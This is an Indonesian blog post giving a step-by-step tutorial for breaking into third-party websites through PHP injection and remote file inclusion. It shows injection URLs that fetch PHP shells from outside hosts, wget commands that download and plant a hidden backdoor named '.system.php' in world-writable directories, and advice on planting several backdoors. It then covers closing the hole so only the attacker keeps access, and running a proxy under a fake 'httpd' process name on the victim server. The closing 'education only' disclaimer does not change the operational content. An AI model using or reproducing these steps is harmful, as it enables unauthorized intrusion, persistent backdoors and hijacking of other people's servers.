Monday, November 19, 2012

Cara Mudah Deface Remote File Include

1.Php Shell Injection
- Landasan Teori

PHP Shell Injection adalah sebuah tindakan untuk melakukan eksploitasi terhadap celah keamanan sebuah website dengan cara menginjeksi Shell hasil pengkodean bahasa PHP terhadap file yang terdapat pada website tersebut yang memiliki kelemahan ataupun kesalahan pemrograman/pengkodean. Tapi kalau orang kita biasa menyebutnya Nginjek Shell hehe… Yang saya maksud dengan PHP Shell Injection di sini adalah berbeda hal dengan PHP Injection. PHP Shell Injection yang akan saya bahas adalah tindak lanjut atau tahap eksploitasi selanjutnya dengan memanfaatkan bug PHP Injection ataupun Remote File Inclusion (RFI), yaitu pengeksploitasian sebuah target dengan media PHP Shell. Perhatikan perbedaannya :
PHP Injection, memasukan perintah-perintah shell langsung dengan menambahkan perintah PHP pada URL:

http://www.target.com/[path]/page.php?action=exit.passthru($_GET[cok]);exit&cok=wget http://xXx.co.cc/xXx/r00t

Yang bertulisan tebal itu perintah PHP-nya sedangkan yang bertulisan miring adalah perintah shellnya.

PHP Shell Injection-nya :
http://www.target.com/[path]/page.php?action=exit.include($_GET[cok]);exit&cok= [injekan??]

Remote File Inclusion (RFI), memasukan file yang berisi script PHP dari luar ke dalam target dengan memanfaatkan kesalahan statemen pengkodean PHP pada file di dalam target yang tidak terfilter dengan baik, misalnya bug ini :
require_once($bcrm_pub_root . “/public_prepend.inc.php”)
PHP Shell Injection-nya :
http://www.target.com/browser_crm/pub/clients.php?bcrm_pub_root=[injekan??]

- Saatnya Beraksi!
Setelah anda berhasil mendapatkan target berupa situs yang mempunyai kelemahan terhadap serangan RFI (Remote File Inclusion) dari proses scanning yang dilakukan oleh bot scan kamu sebelumnya, misalnya saja bot scan kamu menampilkan output seperti di bawah ini :
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=[evil code]

Nah dari url yang dikeluarkan oleh bot scan tersebut, kamu ambil/copy sampai ke tanda ’=’ (sama dengan) seperti pada gambar di atas (tulisan evil code-nya dibuang), lalu tambahkan di belakangnya (tanpa spasi) script PHP Shell yang mau dipakai untuk injeksi (PHP Shell Injector) dan diakhiri dengan tanda tanya ( ? ).
Lah mana PHP Shell Injector-nya??? Bagi donk!!!
Hare gene gak punya PHP Shell Injector….? hehehe

Oke kalo yang belum punya coba aja masuk ke irc server indoirc disana banyak yg scan minta aja kali dikasih, Kalau udah dapat semuanya, misalnya seperti ini :
- Target tadi:
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=[evil code]
- PHP Shell Injector:
http://geocities.com/gara_013/injek.txt???
Sekarang gabungkan keduanya jadi seperti ini :
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=http://h1.ripway.com/newbe/kambe.txt?
Jangan lupa tanda tanya dibelakangnya harus ditambahkan. Setelah itu paste-kan hasil di atas ke browser lalu jalankan. Kalo browser menampilkan hasil seperti di bawah ini atau mungkin mirip (PHP Injektor memiliki tampilan berbeda-beda), maka selamat buat kamu, kamu telah melakukan yang namanya PHP SHELL INJECTION!
Wew, yang ditampilkan di atas itu apa namanya sih?? Lalu apa gunanya?? Yang di atas itulah yang namanya shell. Shell adalah sebuah interface agar user dapat berkomunikasi dengan sistem komputer. Komunikasi yang terjadi yaitu user dapat mengetikan/menginput perintah-perintah khusus pada shell yang akan diterjemahkan pada komputer untuk dikerjakan.
Hanya saja shell seperti di atas sifatnya masih hanya remote dari luar server dan kalau celah keamanannya telah diketahui oleh adminnya dan ditutup, maka kamu nggak bisa lagi mengaksesnya.
Yahhh… ngapain juga repot-repot injek-injekan PHP segala kalo shell-nya gak tahan lama..!!!
Wew, tenang.. tenang… bisa kita akalin biar lebih awet. Segala permasalahan pasti ada pemecahannya. Pada tahap inilah kita harus melakukan apa yang orang Arab bilang PHP SHELL BACKDOORING.
2. PHP SHELL BACKDOORING (Menanam Backdoor PHP)
- Landasan Teori
Backdoor itu apa sih om?
Backdoor adalah sebuah program ataupun hasil pengkodean yang memungkinkan seseorang dapat mengakses secara remote komputer korban (tempat backdoor ditanam). Bisa disebut juga sebagai ’jalan belakang’ untuk masuk ke komputer korban tanpa harus melalui form login.
Jadi dengan backdoor, kita tidak lagi mengakses shell di target dari luar (PHP Injection) melalui vulnerability lain seperti pada awal tutorial ini. Kita akan dapat mengakses komputer korban sekalipun celah keamanan tadi pun telah ditutup oleh adminnya. Nah, dalam tutor ini backdoor yang kita gunakan adalah PHP Shell backdoor. Backdoor ini adalah PHP Shell Injector itu sendiri (gampang kan?). Kalau bisa biasakanlah memakai backdoor yang berupa PHP Shell sederhana saja, jangan yang berat dan kompleks sejenis C99 dan R57, karena sangat mudah bagi admin target untuk menemukannya. Logikanya begini, kalau orang lain (bukan admin) saja bisa menemukan dengan mudah backdoor C99 atau R57 melalui google, apalagi admin target itu sendiri kan? Dan biasakan juga menanam lebih dari satu backdoor di tempat yang berbeda-beda pada sebuah target, dengan begitu apabila satu backdoor dihapus oleh admin, masih ada backdoor lain yang belum tentu ketahuan.
- Saatnya Beraksi!
Pertama-tama kamu cari dulu directory yang mempunyai Permission 777 (Direktori yang dapat diakses/dibaca, dapat diubah/diedit, dapat dieksekusi) atau perizinan direktorinya drwx rwx rwx. (Readable, Writeable, eXecutable untuk semua group). Caranya dengan mengeksekusi perintah :
find –perm –d /777
Namun, PHP backdoor ini tidak hanya membutuhkan direktori 777, tapi juga harus direktori yang sifatnya public, artinya direktori yang dapat diakses langsung lewat browser oleh semua orang. Ciri-ciri dari direktori ini yaitu pada path direktorinya ada tulisan seperti www, httdoc, httpd, html, public_html atau lain sebagainya. (Kalau emang public, dapat dites nantinya saat backdoor sudah terpasang). Coba liat hasil setelah menjalankan perintah di atas :
Setelah mendapatkan direktori tersebut misalnya salah satu direktori 777 yaitu /var/www/intruder/forum/db seperti di atas, langsung aja masuk/pindah ke direktori tersebut dengan mengeksekusi perintah ini :
cd /var/www/intruder/forum/db atau secara manual ketik aja di line direktori
Kalau sudah, sekarang tinggal mendownload/transfer file backdoor (PHP Injector tadi) ke dalam target. Caranya seperti biasa menggunakan wget atau lwp-download seperti ini :
wget http://h1.ripway/newbe/kambe.txt kalo gak bisa coba lwp-download
Jika perintah itu sukses, maka lanjutkan dengan mengubah file PHP Shell tersebut, dalam hal ini kambe.txt menjadi file berekstensi PHP dengan perintah ini :
mv kambe.txt.txt .system.php
Perintah tersebut akan mengubah file kambe.txt menjadi file hidden backdoor .system.php, dan seperti yang dijelaskan sebelumnya bahwa tanda titik di depan nama file tersebut menandakan/membuat file tersebut menjadi hidden. Dan sengaja diberinama .system.php biar gak terlalu mencurigakan. Kamu bisa lebih kreatif dengan membuat nama lain yang mirip dengan file-file yang ada di dalam direktori tersebut, jangan sampai terlihat perbedaan yang mencolok antara nama backdoor kamu dengan nama file-file lain di dalam target (Ninja Style).
Kalau semua sudah dilakukan tanpa error seperti langkah-langkah di atas, maka selamat, kamu telah melakukan Backdooring!
Horeee… tapi gimana mengakses backdoor tadi om???
Teewwwww….
Oh iya… caranya adalah dengan mengakses alamat file backdoor tadi lewat browser .
Tapi alamat file backdoornya apa om???
Nah, alamat file backdoor tadi dapat diliat dengan cara :
- Liat direktori 777 tempat kamu menyimpan backdoor tadi :
/var/www/intruder/forum/db
- Nah itu artinya alamat (URL) backdoor tersebut adalah :
http://intruder.gmork.cz/forum//db/.system.php
Mengapa di antara forum dan db garis miringnya double sedangkan pada direktori yang ada pada shell hanya 1 garis miring saja? Untuk menentukannya dapat dilihat dari URL PHP Injection tadi yang menyatakan setelah direktori forum akan diikuti garis miring double untuk mengakses direktori di bawahnya. Coba perhatikan lagi :
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=http://h1.ripway.com/newbe/kambe.txt?
Benar kan.. dua garis miring kan setelah forum. (Belajarlah mempertajam ketelitian dan analisa kamu)
Sekarang tinggal kamu tes aja mengkases backdoor tersebut dari browser. Kalo hasilnya mengeluarkan tampilan shell seperti atau mirip gambar di bawah ini (masing-masing PHP backdoor berbeda-beda tampilan sama halnya dengan perbedaan PHP Injector), berarti semua berjalan dengan lancar :
PHP Injection sudah. Backdooring sudah (Jangan lupa simpan URL backdoor kamu tadi). Sekarang kamu nggak perlu ngemis-ngemis lagi minta shell dari orang lain kayak tutor yang pertama karena kamu udah bisa memproduksi shell kamu sendiri.
3. PATCHING
- Landasan Teori
Patching itu afaan om?
Patching adalah suatu kegiatan untuk menutup celah keamanan (Vulnerability) dari sebuah website sehingga tidak bisa dieksploitasi lagi oleh siapa pun melaluinya.
Ada hikmah kebaikan dan keburukan dari proses patching yang akan kamu lakukan ini, yaitu :
1. Kebaikan : Kamu telah berhati mulia (weleh-weleh…) dengan menutup celah keamanan (kelemahan) sebuah website orang lain.
2. Keburukan : Kamu egois karena hanya ingin menguasai target sendiri saja. Yang lain jadi pada gak bisa masuk lagi deh lewat tuh celah keamanan. Hehehe…
Mari diambil hikmahnya….. yuuu…
- Saatnya Beraksi!
Patching yang kita lakukan terhadap RFI (Remote File Inclusion) Vulnerability ini akan lebih mudah jika dilakukan dengan PHP Shell Injector sejenis C99 yang mempunyai fitur untuk memanipulasi (editing) source file.
Syarat utama melakukan Patching ini yaitu celah keamanan harus berada pada direktori dengan permission 777 (Kecuali kalau kamu punya akses root, kamu bisa melakukan patching di direktori mana pun)
Ada tiga cara yang mungkin bisa kita lakukan untuk patching sebuah RFI Vulnerability, yaitu :
1. Memodifikasi file yang merupakan bug RFI
Coba kamu lakukan lagi PHP Injection dengan menggunakan PHP Shell Injector C99, misalnya seperti di bawah ini :
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=http://h1.ripway.com/newbe/kambe99.txt?
Coba perhatikan gambar hasil PHP Shell Injection tersebut :
Nah, di situ akan terlihat perbedaan warna file yang merupakan bug RFI dari target yaitu warna kuning. Atau bisa dilihat dari url PHP Injection di atas tadi. Bug-nya adalah nama file paling belakang dan sebelum tanda tanya, yaitu file usercp_sendpasswd.php. Sekarang anda tinggal klik tulisan edit di ujung yang sebaris dengan file tersebut pada shell c99 (lihat gambar di atas) yang akan menampilkan isi atau source dari file tersebut, seperti ini :
Setelah itu carilah bagian yang serupa dengan tulisan di atas yang bertuliskan include($phpbb_root_path["user"], karena memang bagian ini lah yang bermasalah (bug RFI-nya) sehingga memungkinkan seorang attacker masuk melaluinya (liat lagi URL PHP Injection tadi). Kemudian lanjutkan dengan mengubah tulisan user di atas dengan nama lain misalnya menjadi seperti ini : include($phpbb_root_path["newbee"]. Setelah itu klik save untuk menyimpannya.
Sekarang coba tes melakukan PHP Injection lagi terhadap target seperti pada awal. Hasilnya mungkin akan seperti ini :
Itu berarti celah keamanan tadi telah berhasil dipatch! Pesan error yang muncul tidak mesti selalu sama seperti di atas, dapat juga berbeda-beda tergantung target dan celah keamanannya, bisa saja memunculkan pesan Fatal Error atau lainnya.
2. Ubah nama file tersebut
Cara kedua ini adalah cara yang paling mudah yaitu dengan mengubah nama file bug tersebut di atas dengan nama lain. Sebelum mengubah nama, ganti dulu permission file tersebut menjadi 777 agar bisa melakukan manipulasi terhadapnya, caranya:
chmod 777 usercp_sendpasswd.php
Setelah itu baru ubah nama file tersebut, misalnya dengan perintah ini :
mv usercp_sendpasswd.php newbee.php
Maka file bug tersebut akan berubah nama menjadi newbee.php sehingga URL PHP Injection hasil scan di atas tadi menjadi tidak valid lagi (berubah).
3. Hapus file tersebut
Cara ketiga ini juga mudah sekali sama halnya dengan cara kedua yaitu tinggal hapus aja file yang jadi bug RFI-nya. Beres kan? Gak ada lagi file yang bisa diinjeksi kalau file itu sendiri sudah tidak ada. Caranya seperti di atas, ubah dulu permission filenya menjadi 777 lalu tinggal eksekusi aja perintah ini : rm usercp_sendpasswd.php
Coba aja kamu tes lagi melakukan PHP Injection dari awal setelah kamu memakai cara kedua atau cara ketiga. Pasti hasilnya akan seperti atau mirp di bawah ini :
Itu berarti celah keamanan tadi telah ditutup, dan ingat! Jika kamu tidak memiliki akses root, maka kamu HANYA bisa melakukan patching seperti di atas apabila dalam kondisi file bug tersebut berada di direktori 777.
Sector Clear! Patching udah. Lalu gimana donk kita masuk lagi ke shell target kalau PHP Injection gak bisa lagi???
Lah, kan tadi kamu uda pasang backdoor. Masuk aja lewat situ… hehehe.. mulai paham kan algoritmanya? Gampang kan?
Tapi ada cara lain lagi untuk memasuki target tanpa menggunakan backdoor, yaitu dengan menggunakan PHP Shell Injection lagi, namun hanya bisa dilakukan jika kamu menggunakan cara pertama atau kedua saja :
1. Jika kamu melakukan patching dengan cara pertama, maka kamu bisa masuk ke target dengan PHP Injection ini :
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[newbee]=http://h1.ripway.com/newbe/kambe99.txt?
Lihat tulisan yang miring di atas, itu karena kamu telah mengubah tulisan user menjadi newbee pada cara pertama. (dan hanya kamu yang mengetahui path tersebut).
2. Jika kamu melakukan patching dengan cara kedua, maka kamu bisa masuk ke target dengan PHP Injection ini :
http://intruder.gmork.cz/forum//includes/newbee.php?phpbb_root_path[user]=http://h1.ripway.com/newbe/kambe99.txt?
Lihat tulisan miring di atas, itu terjadi karena kamu mengubah file usercp_sendpasswd.php menjadi newbee.php pada cara patching kedua.
Patching yang baik sebenarnya bukanlah dengan cara-cara di atas, tapi seorang admin harus membuat code program tambahan untuk memfilter suatu statemen inlcude seperti di atas misalnya saja dengan statemen switch, for, ataupun case agar file tersebut dapat berfungsi dengan seharusnya.
Sekarang minum lagi kopi susunya tadi, ntar keburu dingin loh. Nyante aja udah, kamu dah punya backdoor di sebuah website. Lalu ngapain lagi ya? Deface? Kayaknya gak perlu deh, kalau kamu deface tuh website sama aja ibaratnya kamu kirim surat ke rumah orang yang kamu susupi dan mengatakan ”Hey om! Aku dah pasang pintu rahasia di rumah kamu, jadi aku sekarang bebas berkeliaran di rumah kamu sekalipun kamu kunci semua pintu lainnya!!!”. Si admin tuh website yang tahu keberadaan kamu pasti menggunakan berbagai macam cara untuk mendeteksi backdoor yang kamu pasang tadi, ini tentu aja akan menambah peluang dalam memperpendek umur backdoor kamu yang amat sangat berguna itu.
Daripada melakukakan hal-hal seperti di atas, kamu bisa aja memanfaatkan website tersebut untuk hal-hal menarik lainnya, misalnya aja membuat website itu sebagai proxy server pribadi kamu.
4. CREATE PROXY
- Landasan Teori
Proxy itu apa om? Sejenis makanan ringan itu ya?
Bukan kaleee. Proxy itu adalah sebuah aplikasi yang menjadi media perantara antara kamu (sebagai client) dan ISP sebagai penyedia jasa internet. Sehingga IP address yang kamu pakai atau yang terkoneksi dengan website saat berinternet adalah ip address dari server proxy tersebut. Yang kamu perlu konfigurasikan hanyalah mengatur nama server proxy dan port-nya saja pada browser.
- Saatnya Bereaksi! Eh.. Beraksi!
1. Buka backdoor kamu tadi.
2. Transfer file kompresan proxy.tgz ke dalam target dengan perintah:
wget http://www.mith.com/db/osr/proxy.tgz
3. Dekompresi (extract) file tersebut :
tar -zxvf proxy.tgz
Hasilnya dekompresi tersebut berupa sebuah folder bernama pro
4. Masuk ke direktori tempat hasil dekompresi yaitu direktori pro tadi :
cd /var/www/intruder/forum/db/pro atau bisa kamu lakukan secara manual saja.
Isi dari folder pro tersebut adalah file xh dan prox
5. Atur port dan jalankan :
./xh -s “/usr/sbin/httpd” –d ./prox -a -d –p1234
Maksud perintah di atas adalah mengeksekusi file xh untuk membuat proses dengan nama palsu (fake process) yaitu /usr/sbin/httpd dan menjalankannya sebagai daemon/system (-d) atau berjalan di background untuk program proxy kamu tadi (prox) yang berjalan pada port 1234.
Yang perlu diingat cuman portnya itu kamu set 1234, terserah kalau kamu mau kasih port lain.
Kalau tidak ada pesan error, berarti semua berjalan lancar. Kalau kamu memakai proxy tersebut, tinggal masukan IP dan PORT proxy tersebut ke dalam settingan browser misalnya Mozilla seperti gambar di bawah ini :
IP proxy di atas adalah IP dari website target tadi. Bisa kamu cek di http://who.is
Setelah sudah disetting, baru cek lagi di http://who.is apakah berfungsi atau tidak. Dan lihat IP kamu di sana apakah sudah berubah mengikuti IP proxy tersebut.
Selamat… Proxy kamu aktif. Kalau tidak berhasil bisa saja terjadi karena ISP (Penyedia Layanan Internet) kamu tidak mengizinkan adanya akses yang menggunakan proxy melalui server mereka.
—————————— Potong di sini ————————————-
Selesai juga akhirnya… Piuuwwhh….
Tapi lega juga…ho ho ho
/* Tutorial ini hanya sekedar untuk edukasi dan pengetahuan tentang security khususnya cara melakukan penetration test terhadap website sendiri lalu melakukan patching sederhana dan cepat. Segala kerusakan atau kerugian yang terjadi karena penyalahgunaan tutorial ini adalah bukan tanggung jawab saya. */
{
Maaf kalau tutorialnya masih berkualitas newbie dan masih ada salah di sana sini, namun kembali lagi mengutip dan memodifikasi kalimat dari om n0c0py (kemungkinan gay) :
”Lebih baik mempunyai sedikit ilmu tapi mau berbagi dengan yang lain daripada mempunyai banyak ilmu tapi hanya berdiam diri dan menyimpan untuk diri sendiri saja.”

}

0 comments:

Post a Comment

 
Design by Free WordPress Themes